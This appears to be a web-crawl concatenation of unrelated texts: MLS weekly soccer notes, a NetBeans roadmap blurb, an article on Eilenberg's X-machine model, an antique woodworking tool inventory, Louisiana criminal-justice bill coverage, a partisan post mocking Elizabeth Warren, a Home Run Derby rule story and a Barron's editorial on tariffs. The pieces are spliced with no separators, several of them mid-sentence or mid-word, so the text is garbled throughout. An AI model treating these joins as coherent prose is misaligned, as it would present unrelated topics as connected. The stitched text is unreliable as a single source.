Jason Kreis was never going to be one to talk about feeling any sort of revenge or special satisfaction from beating his former employer, but Sunday's victory over New York City FC had to be extra sweet nonetheless. Kreis was probably too busy being excited about seeing a healthy and in-form Kaka, as well as a defense that limited David Villa to zero shots on goal. Kreis will need Kaka and an improving defense as a stretch of four road games in five lies ahead. That's a scary proposition for a team with just one road win all year.
—
San Jose parted ways with longtime general manager John Doyle on Monday, a move that now puts all the pressure on Dominic Kinnear to revamp the squad as the Earthquakes look to fill Avaya Stadium and contend for a title. San Jose is in the thick of the playoff race out West, but if the Earthquakes miss out on the postseason again it's a safe bet we will see a roster overhaul this winter.
—
New England's goal-scoring woes continue, with Sunday's shutout loss to the Red Bulls marking the Revs' fourth straight match without a goal. That's a remarkable drought considering the weapons New England has in attack, but the Revs front six just hasn't been clicking lately and Kei Kamara was rendered largely invisible against the Red Bulls. The worst part for the Revs is that the defense has actually shown improvement in recent weeks, but with goals so scarce, the Revs are in danger of falling out of the East playoff race.
—
The Red Bulls boast the longest current unbeaten streak in the league at nine (4-0-5), while D.C. United has suddenly put together a strong run and six-match unbeaten stretch (2-0-4). Patrick Mullins' arrival has given the D.C. attack a big boost, which it will need as a pair of visits to the New York market await at the start of September. That road swing looms large, especially with Orlando City just one point behind D.C. for the final playoff spot in the East. Did we mention D.C. and Orlando City still meet two times in the final month of the season?
—
Has Colorado's incredible run come to an end? The Rapids have certainly cooled off, managing just one win in six. There is no time to panic just yet, but the Rapids are on the road for three of their next four matches, and with RSL looking like a serious threat to join FC Dallas as the top two seeds in the West, Pablo Mastroeni's men need Jermaine Jones back on the field ASAP.
BEST OF MLS WEEK 25
Player of the Week: Patrick Mullins. The D.C. United forward notched a hat trick in a 6-2 romp over the Chicago Fire to edge out Mauro Diaz and Yura Movsisyan for this week's honors.
Team of the Week: Philadelphia Union. Followed up a road win in Columbus with a workmanlike 1-0 victory at home against a tough Sporting Kansas City side.
Rookie of the Week: Keegan Rosenberry. Scored the winning goal to beat Columbus at midweek, then turned in another excellent shift at right back in a 1-0 shutout of Sporting KC.
Goal of the Week: Michael Barrios. The FC Dallas winger has a good claim for having scored the two best goals in MLS in Week 25, with his second goal getting the edge as the best finish of the week:NetBeans Release Roadmap
The NetBeans release roadmap defines what the NetBeans open source project strives to achieve, and our plans to reach these goals.
Please note that as with any open source project, all decisions are made by the community at large, which includes you! If there are aspects of how the NetBeans project is being run that you disagree with, or think needs further discussion, then tell us about it on the nbdicuss list!
A graphical representation of the NetBeans Release Roadmap:
This page uses Javascript to show you a Roadmap. Please enable Javascript in your browser to see the full page. Thank you.
Vision Statement
Read the full vision statement.
Release Overview
A goal of the NetBeans team is to make frequent NetBeans releases. By this, we mean major, stabilized, and thoroughly tested releases, with minor patches planned approximately every 5 months between major releases. Please note that this is only a guideline, and release schedules are subject to change.The X-machine (XM) is a theoretical model of computation introduced by Samuel Eilenberg in 1974.[1] The X in "X-machine" represents the fundamental data type on which the machine operates; for example, a machine that operates on databases (objects of type database) would be a database-machine. The X-machine model is structurally the same as the finite state machine, except that the symbols used to label the machine's transitions denote relations of type X→X. Crossing a transition is equivalent to applying the relation that labels it (computing a set of changes to the data type X), and traversing a path in the machine corresponds to applying all the associated relations, one after the other.
Original theory [ edit ]
Eilenberg's original X-machine was a completely general theoretical model of computation (subsuming the Turing machine, for example), which admitted deterministic, non-deterministic and non-terminating computations. His seminal work [1] published many variants of the basic X-machine model, each of which generalized the finite state machine in a slightly different way.
In the most general model, an X-machine is essentially a "machine for manipulating objects of type X". Suppose that X is some datatype, called the fundamental datatype, and that Φ is a set of (partial) relations φ: X → X. An X-machine is a finite state machine whose arrows are labelled by relations in Φ. In any given state, one or more transitions may be enabled if the domain of the associated relation φ i accepts (a subset of) the current values stored in X. In each cycle, all enabled transitions are assumed to be taken. Each recognised path through the machine generates a list φ 1... φ n of relations. We call the composition φ 1 o... o φ n of these relations the path relation corresponding to that path. The behaviour of the X-machine is defined to be the union of all the behaviours computed by its path relations. In general, this is non-deterministic, since applying any relation computes a set of outcomes on X. In the formal model, all possible outcomes are considered together, in parallel.
For practical purposes, an X-machine should describe some finite computation. An encoding function α: Y → X converts from some input data type Y into the initial state of X, and a decoding function β: X → Z, converts back from the final state(s) of X into some output data type Z. Once the initial state of X is populated, the X-machine runs to completion, and the outputs are then observed. In general, a machine may deadlock (be blocked), or livelock (never halt), or perform one or more complete computations. For this reason, more recent research has focused on deterministic X-machines, whose behaviour can be controlled and observed more precisely.
Example [ edit ]
A compiler with a peep-hole optimizer can be thought of as a machine for optimizing program structure. In this Optimizer-machine, the encoding function α takes source code from the input-type Y (the program source) and loads it into the memory-type X (a parse tree). Suppose that the machine has several states, called FindIncrements, FindSubExprs and Completed. The machine starts in the initial state FindIncrements, which is linked to other states via the transitions:
FindIncrements →DoIncrement FindIncrements FindIncrements →SkipIncrement FindSubExprs FindSubExprs →DoSubExpr FindSubExprs FindSubExprs →SkipSubExpr Completed
The relation DoIncrement maps a parsed subtree corresponding to "x := x + 1" into the optimized subtree "++x". The relation DoSubExpr maps a parse tree containing multiple occurrences of the same expression "x + y... x + y" into an optimized version with a local variable to store the repeated computation "z := x + y;... z... z". These relations are only enabled if X contains the domain values (subtrees) on which they operate. The remaining relations SkipIncrement and SkipSubExpr are nullops (identity relations) enabled in the complementary cases.
So, the Optimizer-machine will run to completion, first converting trivial additions into in-place increments (while in the FindIncrements state), then it will move on to the FindSubExprs state and perform a series of common sub-expression removals, after which it will move to the final state Completed. The decoding function β will then map from the memory-type X (the optimized parse-tree) into the output-type Z (optimized machine code).
Convention [ edit ]
When referring to Eilenberg's original model, "X-machine" is typically written with a lower-case "m", because the sense is "any machine for processing X". When referring to later specific models, the convention is to use a capital "M" as part of the proper name of that variant.
1980s [ edit ]
Interest in the X-machine was revived in the late 1980s by Mike Holcombe,[2] who noticed that the model was ideal for software formal specification purposes, because it cleanly separates control flow from processing. Provided one works at a sufficiently abstract level, the control flows in a computation can usually be represented as a finite state machine, so to complete the X-machine specification all that remains is to specify the processing associated with each of the machine's transitions. The structural simplicity of the model makes it extremely flexible; other early illustrations of the idea included Holcombe's specification of human-computer interfaces,[3] his modelling of processes in cell biochemistry,[4] and Stannett's modelling of decision-making in military command systems.[5]
1990s [ edit ]
X-machines have received renewed attention since the mid-1990s, when Gilbert Laycock's deterministic Stream X-Machine[6] was found to serve as the basis for specifying large software systems that are completely testable.[7] Another variant, the Communicating Stream X-Machine offers a useful testable model for biological processes[8] and future swarm-based satellite systems. [9]
2000s [ edit ]
X-machines have been applied to lexical semantics by Andras Kornai, who models word meaning by `pointed' machines that have one member of the base set X distinguished.[10] Application to other branches of linguistics, in particular to a contemporary reformulation of Pāṇini were pioneered by Gerard Huet and his co-workers[11][12]
Major variants [ edit ]
The X-machine is rarely encountered in its original form, but underpins several subsequent models of computation. The most influential model on theories of software testing has been the Stream X-Machine. NASA has recently discussed using a combination of Communicating Stream X-Machines and the process calculus WSCSS in the design and testing of swarm satellite systems.[9]
Analog X Machine (AXM) [ edit ]
The earliest variant, the continuous-time Analog X-Machine (AXM), was introduced by Mike Stannett in 1990 as a potentially "super-Turing" model of computation;[13] it is consequently related to work in hypercomputation theory.[14]
Stream X-Machine (SXM) [ edit ]
The most commonly encountered X-machine variant is Gilbert Laycock's 1993 Stream X-Machine (SXM) model,[6] which forms the basis for Mike Holcombe and Florentin Ipate's theory of complete software testing, which guarantees known correctness properties, once testing is over.[7][15] The Stream X-Machine differs from Eilenberg's original model, in that the fundamental data type X is of the form Out* × Mem × In*, where In* is an input sequence, Out* is an output sequence, and Mem is the (rest of the) memory.
The advantage of this model is that it allows a system to be driven, one step at a time, through its states and transitions, while observing the outputs at each step. These are witness values, that guarantee that particular functions were executed on each step. As a result, complex software systems may be decomposed into a hierarchy of Stream X-Machines, designed in a top-down way and tested in a bottom-up way. This divide-and-conquer approach to design and testing is backed by Florentin Ipate's proof of correct integration,[16] which proves how testing the layered machines independently is equivalent to testing the composed system.
Communicating X |
16" (I.J. Robinson) 15 9/16" x 1 7/32"
wire/sheet metal gauge, 2 3/4" diameter (Vulcan Hardware Co.)
Standard Music Wire Gauge (Starrett #280) --- 281 American Standard Wire Gage, 0-36 Range
center gauge (Starrett #391)
drill gauge (5 1/4" x 1 5/8", measures #1--42) (Morse Twist Drill and Steel Wire Gauge)
Clamping
2 brass lifters 3 5/16" length x 11/16" diameter
Prentiss Vise (No. 70)
Cutting
saws rip backsaw, 13 3/16" o.a.l. (Chandler & Barber) crosscut backsaw, 14 13/16" o.a.l. (Chandler & Barber)
brass and steel scribe 2 3/8" o.a.l.
adjustable cut jaw nipper (Starrett 1X-7?) --- http://www.starrett.com/metrology/product-detail/1X-7
machinist's scraper
12 bench chisels, 0.090"--0.480", 8 3/4"--13 1/16" o.a.l. (Buck Brothers)
Planes block plane, ~6 3/16" (L. Bailey) bench plane, (Stanley #1) bench plane, ~9" (L. Bailey) jack plane (Stanley #27) jack plane, 13 9/16" (Stanley) cabinetmaker's block plane (Stanley #9) jointer plane (Stanley #30) block plane, 3 3/16" o.a.l.
frame saw ~8 7/8" o.a.l.
round spokeshave 10 1/4" o.a.l. (Humphrey Tool?)
felt chisel w/ 11/16" blade ~4 1/4" o.a.l.
Sharpening
sharpening stone and box 7" x 1 9/16" x 1 13/16"
knife honing rod, 6 13/16" o.a.l.
tapered oval burnisher
Drilling
4 awls 4.4375″--5.25″
4 forstner bits 3/8", 1/2", 5/8", 3/4"
16 drill bits (0.070"--0.225", 2 3/4"-- 5 1/2" o.a.l.) (Standard Tool Co.)
13 augers (1/4"--1", 7 3/4"--9 1/2" o.a.l.) (R. Jennings)
12 drill bits (0.095"--0.160", 2 7/8"--3 3/4" o.a.l., one missing)
brace, 14" o.a.l.
bit adapter for brace
bow drill spindle, 12 1/2" o.a.l.
11 drill bits (for bow drill) 0.080"--0.170", <3 11/16"--4 5/16" (Standard Tool Co.)
10 square tanged drill bits 1/8"--1" (Booth & Son, dupe 1" A1 Bagshaw & Field)
expansive bit 11" o.a.l. (W.M.A. Clark)
Thread cutting
tap and die handle 8 1/4" o.a.l.
no. 26 tap (S.W. Card)
6 dies 20--36
Striking
infill mallet
cross peen hammer 11 1/4" o.a.l. (Sierfon?)
cross peen hammer 11 7/8" o.a.l.
claw hammer 12 5/8" o.a.l. (D. Maydole)
Pliers
2 pairs of jeweler's pliers
specialized compression pliers
flat pliers ~7" o.a.l.
flat pliers ~3 13/16" o.a.l.
Screwdrivers
1/16" wide jeweler's screwdriver 3 5/8" o.a.l.
3/16" wide 11/16" shaft screwdriver
1/4" wide 1 1/4" shaft screwdriver
pump screwdriver 11 3/4" o.a.l.
pump screwdriver 6 9/16" o.a.l. (Johnson and Tainter)
1/4" wide 4 9/32" horn screwdriver
3/16" wide 3" horn screwdriver
7/32" wide 8 1/8" screwdriver
9/32" wide 10 7/8" screwdriver
5/16" wide horn handled screwdriver 14 1/2" o.a.l.
Wrench
small metal screw-feed wrench ~3" o.a.l. (Tower & Lyons?)
screw-feed wrench ~4 11/16" o.a.l. (L. Coes)
Piano/organ specific tools
piano action adjusting tool ~10" o.a.l.
organ action regulating device ~6 1/2" o.a.l.
The following tools are in the drawers:
levels level spirit level 12" x 1" x 2" (Stratton Brothers)
9 piano action tools
4 brace bits for countersinking large screws (E. Walter & Co.)
set of 5 spoon bits, 1/4"--3/8", 6 3/8"--7 3/8" o.a.l.
pair of felt knives (Tuck Mfg. Co.)
damper spoon bender
3 piano action adjusting tools
items of unknown or uncertain purpose
tube
unknown tool
contour tracing scribe
round container
set of 5 nested tools
3 layout tools 1 7/8"--1 15/16" diameter
chasing or engraving tool with broken tip, 3 3/4" o.a.l.
brass and steel tool, 0.20" drill mounted in brass handle, 3 1/4" o.a.l.
metal tube with ebony caps ~5 3/4" o.a.l., with mineral rod (soapstone or alabaster to mark iron)
In drawers:
5 pneumatic action tools
chisels carving chisel set mortise chisels
saws panel or other saw to dimension stock bow saw coping saw tenon saw pad saw/keyhole saw
glue pot
rasps
files
nail set
rule or tape measure (for distances >2')
marking knife
card scrapers
joinery planes fillister plough router shoulder dado, &c.
moulding planes
trammels
nippers --- present in cabinet: adjustable cut jaw nipper (Starrett 1X-7?)
veneering hammer
drill bow
North Bennet Street School: Introduction to Woodworking
http://www.nbss.edu/
http://www.sawmillcreek.org/showthread.php?243123-Cheap-tool-suggestions-wanted!&p=2555690#post2555690
Safety Glasses (#1535)
12″ Combination Square (Starrett) (#5)
#4 Bench Plane (Stanley) (#514)
Cutting Gauge (Crown) (#306)
6 Inch Card Scraper (#398)
16oz. Honing Oil (Norton) (#38)
Sharpening Stone (Norton Fine India 8″×2″×1″) (#1509)
Burnisher (#226)
Dovetail Saw (fine tooth at least 15T per inch) (#388)
Mill File with Handle (#516)
Protractor (General) (#25)
Bevel Gauge (#515)
Set of 4 Chisels (Irwin) (#265) 1/4″ (#262) 3/8″ (#264) 1/2″ (#261) 1″ (#260)
Woodworker's Tool Compendium - Item No. 30-3632
http://www.rauantiques.com/item/woodworker-s-tool-compendium.30-3632.html
Stanley No.1 Plane
Stanley No.2 Plane
Stanley No.3 Plane
Stanley No.4 Plane
Stanley No.5 Plane
Stanley No.6 Plane
Stanley No.7 Plane
Stanley No.8 Plane
Stanley No.9 1/2 Block Plane
Stanley No.90 Bull Nose Plane
Set of 8 Stanley No.720 Chisels
Set of 5 Sorby Mortise Chisels
Set of 25 Stormont Archer Carving Chisels
Stanley No.71 Router Plane --- https://grabcad.com/library/stanley-hand-router-1
Stanley No.198 Dual Marking Gauge
Stanley No.21 Combination Square
Stanley No.20 8-Inch Square
Stanley No.25 8-Inch Sliding Bevel
Stanley No.41 Push Drill with 8 Bits
Set of 4 Stanley No.70 Defiance Screwdrivers
Disston D-15 Rosewood Handled Hand Saw, 26 Inches
Disston No.68 Rip cut Dovetail Saw, 8 Inches
Disston No.68 Cross cut Dovetail Saw, 10 Inches
Stanley No.291-B 2-Ounce Hammer
Stanley 13-Ounce Claw Hammer
Miniature 4 1/2-Inch Vice
6-Inch Wing Dividers
7-Inch Wing Dividers
8-Inch Wing Dividers
Stanley No.31 Angle Divider
Preston 8-Inch Ebony and Brass Level
Stanley No.61 Rule (2 ft.)
Stanley No.1600 Pliers
Stanley Drill Brace
Set of 13 Stanley Russel Jennings Auger Bits
Set of 6 Stanley No.86 Flat Blade Screwdrivers
Preston Round Bottom SpokeShave
Preston Flat Bottom Spokeshave
Atkins No.50 Coping Saw
Set of 102 Triptych Woodturning Chisels
8-Inch Sharpening Stone in Burl Walnut Case
Pair of Bernard's Patent Nippers By Schollhorn
Pair of Eclipse No.33 Trammel Heads
Set of 3 Centre Punches
Set of 3 Pin Punches
Pair of Cigar Sharpening Stones
Miniature Calipers
Set of 3 Miniature Open-End Wrenches
Stanley 888
Available in 4 configurations.
Hammer 13 oz. No. 12 Hammer 4 oz. No. 147 Hand Saw 16 in. Coping Saw No. 100 Screwdriver 4 in. No. 20 Rule (zig zag) 4 ft. No. 64? Block Plane 8 in. No. 3 Bit Brace 8 in. No. 945 Expansive Bit (Clark's) Auger Bit 1/4" Auger Bit 3/8" Gimlet bit No. 6 Countersink No. 23 Chisel 1/2 in. No. 40 Chisel 1 in. No. 40 Cold Chisel 1 in. No. 1A Vise 1 3/4 in. jaws No. 742 Carpenter's Steel Square 12 in. No. 10 Try and Mitre 6 in. No. 2 Level 18 in. No. 104 Marking Gauge No. 62 Nail Set 3/32 in. No. 11 Center Punch 1/16 in. No. 10 Hand Drill No. 3 Hollow Handle Tool Set Contains one each---Gimlet, File, Saw, Chisel, Reamer, Screw Driver, two Brad Awls and with extra 6 1/2 in. saw. No. 302 Adjustable Wrench 8 in. No. G? Adjustable Pipe Wrench No. 10 Pair Pliers No. 5N Pair Pincers No. 50 Flat Mill File 8 in. with handle Glass cutter No. 300 Sharpening stone
D variation includes No. 203 Bench Bracket
A basic tool list by function
https://www.popularwoodworking.com/tools/woodworking-hand-tools/confusing-the-beginners-another-tool-list/
Measuring try/miter square 4" double square 6" combination square 12" combination square dial calipers (4" better than 6") bevel gauge
Cutting chisels --- set ranging form 1/8"-- 1 1/2" Japanese dovetail saw chip carving knife used as marking knife and for general cutting
Smoothing low angle adjustable mouth block plane medium shoulder plane (Record 3-in-1 plane mostly used as shoulder plane) jack plane, Stanley No. 4
Finishing scraper and burnisher cheap paint scraper
Shaping flat carver's riffler 3/8" wide hand cut rasp
Striking 14 oz. dead blow mallet 16 oz. claw hammer
Installing and adjusting hardware end cutting pliers screwdriver with interchangeable tips
A notable lacunae above is drilling holes. A brace or hand drill, or at least Yankee screwdriver would make a likely addition.
Workbench
Close Grain Apartment Workbench and tool list
Arguably the most important tool for hand woodworking is a workbench, this list is notable for providing a list of basic, easily sourced tools, and cut list and materials list for a workbench easily assembled using them.
http://www.closegrain.com/2013/12/apartment-workbench.html
metal yardstick combination square utility knife mallet Jorgensen Heavy-Duty bar clamps (4 total, two long, two short) 20" Stanley SharpTooth saw (or Irwin/Marples Japanese pull saw (known as a ryoba)) Buck Brothers three-pack with 1/2", 3/4", and 1" chisels, and added separate 1/4" and 3/8" chisels (not needed to build the bench but good to have). drill and driver bits with quick-change adapter (incl. spade bits for larger holes) 14" No. 5 jack plane (model 12-905) 9 3/4" No. 4 smoothing plane (model 12-904)
Knockdown English Workbench
https://blog.lostartpress.com/2014/09/08/download-free-plans-for-the-knockdown-nicholson-workbench/
https://lostartpress.files.wordpress.com/2014/09/kd-nicholson-bench-lost-art-press.pdf
Roubo Workbench
https://www.benchcrafted.com/rouboplans [12]
Commercial Workbenches
Instructables
http://www.instructables.com/id/Folding-Portable-Workbench-With-Quick-Release-Vise/?utm_source=newsletter&utm_medium=email
Vise
Every workbench needs a vise: https://www.simplecove.com/348/monday-woodworking-101-budget-moxon-vise/ [13]
Accessories
https://blog.lostartpress.com/2012/09/05/a-shooting-board-for-a-simpleton/
http://www.woodcentral.com/woodworking/forum/archives_handtools.pl/bid/3001/md/read/id/145698/sbj/son-of-stanley-52/
Portable Tool Kits
Japanese inspired
http://www.sawmillcreek.org/showthread.php?259496-Portable-tool-kit-Portable-workbench-What-would-you-do&p=2745895#post2745895
Tape measure Shinwa hardened steel square Shinwa marking thing (it looks like angled aluminum/steel with a mitered angle/right angles). Takeo Nakano 54 mm and 70 mm plane (thanks for the recommendation, Stan!) Kusaborou Genno (the one tool I'd grab if my house went on fire, again, thanks Stan!) Folding Japanese saws (lee valley dozuki, silkboy kataba). Sharp knife for marking stuff. Pencil. Chisel--an older Japanese one Cam clamps. Floor bench
Vagabond Tool Rack
http://toolmakingart.com/2010/04/27/vagabond-tool-rack/
Notable for fitting in a five (six) gallon plastic pail with a gamma seal lid.
Japanese Boat Builders Tool Set
https://www.japanesetools.com.au/collections/sets/products/boat-builders-tool-set [14]
Kakuri Universal Saw Set Japanese Red Oak Handle Heavy Duty Canvas Bag 4 Blades
3-piece set of Kakuri Hybrid Chisels 12mm 25mm 32mm Heavy Duty Canvas Chisel Roll
Japanese Style Timber mallet
Shinto Saw Rasp
Japanese Precision Square
Nail Puller / Nail Punch
Japanese Sliding Bevel
30mm Japanese Smoothing Plane
52mm Japanese Smoothing Plane
30mm Rebate Plane
Heavy Duty Canvas Carry Bag
WohnGeist
Swiss Tool Case
http://www.wohngeist.ch/V1/index.php?p=2_4_0&lang=en
6 screwdrivers
1/4" driver
12 1/4" bits
pliers
Swiss Army Knife
hammer
half-round file w/ handle
small square
folding rule
nail puller
large multi-channel pliers
set of hex keys
pencil
chisel
Swiss Tool Cabinet
http://www.wohngeist.ch/V1/index.php?p=2_3_0&lang=en
file
6 Torx drivers
cat's paw
7 Phillip's head screwdrivers
marking knife?
7 chisels
adjustable wrench
miter square
corner rounding plane
Japanese saw
cranked neck chisel
sliding bevel
spokeshave
rasp w/ handle
file w/ handle
marking gauge
block plane
jack plane
putty knife
miter square
marking gauge
calipers
sliding bevel
level
nail set and punch
adjustable wrench
hex key set
try square
compass
nail pullers
diagonal cutters
needle nose pliers
flat pliers
cable cutters
multi-channel pliers
bow saw
small hammer
large hammer
pull saw
veneering saw
rabbet plane
12 flat screwdrivers
countersink
awl
ream
scissors
gouge
marking knife
10 files w/ handles
Luthier
https://www.reddit.com/r/Luthier/comments/93i9r4/essential_tools_for_a_beginner/
complete set of truss rod adjusting drivers.
24" Steel Ruler
Feeler Gauges
Calipers in MM and Inch
String Height rule
Fret rockers
Fret Hammer
Nut files
fretting files
fret puller
bone nut and saddle blanks
bench belt sander
proper vice (fox vice or better).
Bench with lighting and possibly magnifiers
International Space Station
https://toolguyd.com/iss-toolbox-tools/
Toolbox Designs
http://homeharmonizing.com/mobile-box-the-ingeniously-nifty-hinged-toolbox-by-germany-based-domini-design/
http://www.shopnotes.com/files/issues/131/cnc-toolbox.pdf
http://images.lowes.com/animate/ToolChest.pdf
http://ezine.woodworking.com/HomeShopWoodworking/ToolChest/ToolChestInstructions.pdf
https://web.archive.org/web/20050830143609/http://www.pbs.org:80/wws/howto/images/e2103toolbox1940.pdf
https://blog.lostartpress.com/2018/11/30/the-ideal-tool-cabinet/
http://giantcypress.net/post/44613074898/tool-box-after-odate
Toolbox Inserts
https://benchworks.be/en/projects/systainer-toolbox-insert/
Thingiverse: Metric Socket Organizer
Other
http://wiki.vintagemachinery.org/
http://www.fineleatherworking.com/leather-tools
https://www.instructables.com/id/How-to-make-a-tool-set/
Making handles (without a lathe): http://www.leevalley.com/newsletters/Woodworking/1/2/Article2.htm
https://woodandshop.com/which-hand-tools-do-you-need-for-traditional-woodworking/ --- notable for listing tools which one may make in a woodworking shop.With many supporters calling it an "historic achievement" for Louisiana, Gov. John Bel Edwards signed 10 bills into law overhauling the state's criminal justice system, with an eye on shedding the state's undesired title of the world's incarceration capital.
Edwards signed the bills before a packed house of more than 100 gleeful supporters and a bipartisan slate of lawmakers who authored many of the bills.
Advocates of the effort applauded both the scope of the overhaul that was signed into law, as well as the cooperation between Republicans and Democrats that it took to enact the changes.
"I've been around and near the halls of this Capitol for 20 years now... I am not sure I have seen more impactful legislation passed," said Flozell Daniels, a criminal justice reform advocate who participated on the task force to develop the recommendations. "We have made a way for us to impact thousands of people's lives."
Gov. John Bel Edwards thanked the Legislature for coming together to pass the package and, in particular, the sponsors of the bills. He acknowledged that it was a politically risky move to champion changes that some could frame as being soft on crime.
And he noted that when he made shrinking the prison population a campaign promise, even his own advisers questioned whether it was wise to continue to tout the commitment.
"I'm signing these bills because a broken system justice system leads to more crime not less," Edwards said. "Today we begin building the system we want rather than continue to settle for the system we have."
In total, the legislation is projected to reduce the state's prison population by 10 percent over the next decade. The savings the state will generate for no longer housing those inmates is projected to be $262 million, of which 70 percent has been obligated for programs to rehabilitate offenders and support victims.
The new laws will reduce mandatory minimums, trim sentences and give some inmates access to parole eligibility sooner. It creates a medical furlough program, which allows the sickest inmates to temporarily receive treatment off site, and be eligible for Medicaid, which saves the state on medical costs. The package overhauls drug sentencing, allowing lighter sentences based on weights, and streamlines the state's many incongruous theft penalties. One bill in the package will limit how often juvenile offenders can receive life without parole sentences.
The measure also expands prison alternatives, like drug court, and expand safety nets for people getting out of jail and returning to their communities, by reducing their financial burdens and helping them have better access to jobs. Another bill will help improve the way victims are notified when offenders have parole hearings or are released.
"I'm not proud of our title as the most incarcerated state, but that is now going to be a part of our history," Edwards said.
Here's a breakdown of the 10 criminal justice bills in the package:
• Senate Bill 139 by Sen. Danny Martiny, R-Metairie: Expands probation eligibility to offenders, expands eligibility for substance abuse probation and drug courts, creates a medical furlough policy allowing temporary release of inmates with significant medical costs so they can be treated in a facility, allows parole consideration for select inmates with life sentences.
• Senate Bill 220 by Senate President John Alario, R-Westwego: Tailors drug sentences to the weight of the drugs, raises the felony theft threshold to $1,000, merges redundant property crime offenses, creates a Louisiana Felony Class System Task Force, that will make recommendations about overhauling felony offenses in 2018.
• Senate Bill 221 by Senate President John Alario, R-Westwego: Reduces the minimum prison term for a second felony conviction and restricts life without parole sentences imposed for third- or fourth convictions -- to those convicted of multiple violent or sex crimes. The law also shortens the timeframe that a criminal defendant's prior drug or property crime convictions can count for imposing a habitual offender sentence from a decade to five years.
• Senate Bill 16 by Sen. Dan Claitor, R-Baton Rouge: Pares back life without parole sentences for juveniles so it is no longer allowable unless it's a first-degree murder case. Most juveniles sentenced to life would be granted opportunity for parole after serving 25 years.
• House Bill 249 by Rep. Tanner Magee, R-Houma: Allows judges to tailor court fees and restitution payments based on a person's ability to pay after leaving jail.
• House Bill 489 by Rep. Walt Leger III, D-New Orleans: Establishes that 70 percent of savings will be allocated to public safety programs. The breakdown of the savings is 30 percent to grants for prison alternatives, 20 percent to support victims' services and 50 percent for the Department of Corrections to offer programming to inmates. In the second year, Office of Juvenile Justice will start to receive 20 percent of the pie.
• House Bill 116 by Rep. Stephen Dwight, R-Lake Charles: Improves victim notification system to allow people to receive notification about an offenders' release or parole hearings.
• House Bill 519 by Rep. Julie Emerson, R-Carencro: Expands opportunities so people with criminal convictions can apply for and receive occupational licenses.
• House Bill 680 by Rep. Joe Marino, No Party-Gretna: Suspends child support payments for people who have been incarcerated for more than six months, unless they have a means to pay.
• House Bill 681 by Rep. Helena Moreno, D-New Orleans: Lifts food stamp and welfare ban for drug offenders returning home from prison.Elizabeth Warren is shrill and unhinged. But that’s not the sort of thing you expect to hear on MSNBC! It sounds like Morning Joe co-host Mika Brzezinski has had enough of Warren’s song and dance. She said so on the air this morning.
Transcript via Legal Insurrection:
ELIZABETH WARREN: Republicans are taking over Congress, they are taking over the White House, but Republicans do not have majority support in this country. The majority of voters supported Democratic Senate candidates over Republican ones, and the majority supported a Democratic presidential candidate over a Republican one. The American people didn’t give Democrats majority support so we can come back to Washington and play dead. They didn’t send us here to whimper, whine, or grovel.
MIKA: Yeah, well, you know what? There’s a huge part of the country that doesn’t think so and she might want to be a little inclusive because she is sounding like the people she is accusing of as being exclusive. I mean she’s just got to stop. I’m sorry. It’s getting exhausting. And this did not help during the campaign. It wasn’t. There’s an anger there that was shrill and a step above what it needed to be, unmeasured, and almost unhinged! It’s not going to work. At some point we have to look at what happened and look at the people we lost along the way.
Trending: CNN Told By South Korean Official: “Clearly Credit Goes To President Trump” (VIDEO)
Watch the video:
Amazing!KANSAS CITY, Mo. -- The booing of beleaguered Home Run Derby captain Robinson Cano finally had faded by Tuesday afternoon. But the aftermath could cause Major League Baseball to consider a new rule to include at least one hometown slugger in future Home Run Derbies, commissioner Bud Selig said Tuesday.
The booing of Cano was inspired by his failure to pick Kansas City All-Star Billy Butler for the Derby after pledging earlier this month to include a Royal.
Last year's National League captain, Prince Fielder, received similar treatment in Phoenix for not picking Arizona Diamondbacks outfielder Justin Upton.
So Selig conceded those displays of "hometown loyalty" could spark changes to head off similar outbursts in future Derbies.
"We'll talk about this [potential rule change]," Selig said during his annual session with the Baseball Writers Association of America. "While I understand [the feelings of fans in] Kansas City... I felt very badly last night. I felt badly last year for Prince. This was tough."
When another questioner observed the heat -- and boos -- could even intensify next year with the game scheduled for Citi Field in New York, Selig again lamented Monday's episode.
"It won't be any worse than last night," he said. "You can only boo so loud.... But let me just say, we'll think about that."
MLB Players Association executive director Michael Weiner, who addressed the writers after Selig, said the issue is more complicated than that and said a rule requiring hometown approval might not necessarily be in the event's best interests.
"If we move to something where there's a spot reserved for one of the home-team participants, that would probably generate a lot of excitement in the ballpark," Weiner told ESPN.com following his formal remarks. "But I don't know how the ESPN producers would have felt if Mark Trumbo or Jose Bautista or Prince Fielder were left out of the event instead of Billy Butler.
"So on the one hand, if the union and the commissioner's office want to continue the captains format, the last thing we want to do is say to a player who volunteers to participate in an event and volunteers to be a face of the event [that] he is setting himself up to be booed. We don't want that.... It sort of defeats the purpose of having players select their peers to be on their team if you have these kinds of restrictions. So I don't know which way it goes. But there will be continued discussions. And I don't know what kind of aftereffect it will have."Text size
The ghosts of Reed Smoot and Willis Hawley are haunting the presidency of Donald J. Trump, even before it begins. To avoid the risk of recession, an exorcism of sorts is urgently required. Sen. Smoot and Rep. Hawley co-sponsored America’s infamous Smoot-Hawley Tariff Act of 1930, which hiked tariffs on imports to record levels. A global trade war resulted, as other countries responded in kind. U.S. foreign trade plunged by 40%, which helped drag the economy into the Great Depression. More than 1,000 economists sent a petition to then-President Herbert Hoover urging him, without success, to veto the act, correctly arguing that it would “injure the great majority of our citizens.”
A Five-Part Plan to Help Save America
Part 1: Taming Federal Debt: The Case for 100-Year Bonds
Part 2: Cut the Top U.S. Corporate Tax Rate to 22%
Part 3: The Great Rebuilding
Part 4: Donald Trump’s Worst Idea: Trade Barriers
Part 5: Barron’s Prescription for U.S. Economic Growth
In homage to those 1,000 economists, Barron’s petitions incoming President Trump to appreciate the case for free trade in the hope of averting a similar injury to the nation’s great majority. In fact, Trump should take steps to make U.S. trade policy freer than it is now, after a noticeable backslide over the past 15 years. Distressing echoes of Hawley and Smoot were heard from candidate Trump, both during his campaign and since his election. Even before putting his feet up on the desk of the Oval Office, he has killed the Trans-Pacific Partnership (“a terrible deal”), which had been agreed to by 12 Pacific Rim countries, and he has condemned the 22-year-old North American Free Trade Agreement with Canada, the U.S., and Mexico, on the shaky argument that it’s costing American jobs.
In even more Smoot-like fashion, Trump has urged draconian across-the-board tariffs of 35% and 45%, respectively, on imports from Mexico and China, America’s largest sources of imports in dollar terms. Such tariffs, says Cato Institute trade expert Dan Ikenson, “would be devastating to the U.S. and global economies and would destroy the international trading system.” The result would be a global recession and a bear market in stocks.
If President-elect Trump wants to tweak America’s 14 trade agreements to make them more favorable to U.S. exporters, there can be no great objection, though he might be surprised to find that negotiators on the other side of the table have legitimate grounds for pushing in the opposite direction.
